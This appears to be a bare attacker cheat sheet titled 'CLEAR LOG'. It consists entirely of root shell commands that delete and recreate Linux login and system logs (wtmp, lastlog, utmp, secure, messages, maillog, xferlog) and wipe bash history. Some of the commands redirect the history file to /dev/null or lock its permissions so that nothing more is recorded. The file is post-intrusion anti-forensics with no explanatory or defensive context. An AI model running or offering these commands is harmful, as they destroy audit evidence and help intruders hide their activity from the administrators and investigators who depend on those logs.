CLEAR LOG

cd /;
rm -f /.bash_history /root/.bash_history /var/log/messages;
ln -s /dev/null /.bash_history;
ln -s /dev/null /root/.bash_history;
touch /var/log/messages;
chmod 600 /var/log/messages

cd /;
rm -f /root/.bash_history;
touch /root/.bash_history;
chmod 0 /root/.bash_history;
ls -laF /root/.bash_history;
chmod 0 /var/log/*

rm -rf /var/log/wtmp ; rm -rf /var/log/lastlog ; rm -rf /var/log/secure ; rm -rf /var/log/xferlog ; rm -rf /var/log/messages ; rm -rf /var/run/utmp ; touch /var/run/utmp ; touch /var/log/messages ; touch /var/log/wtmp ; touch /var/log/messages ; touch /var/log/xferlog ; touch /var/log/secure ; touch /var/log/lastlog ; rm -rf /var/log/maillog ; touch /var/log/maillog ; rm -rf /root/.bash_history ; touch /root/.bash_history ; history -r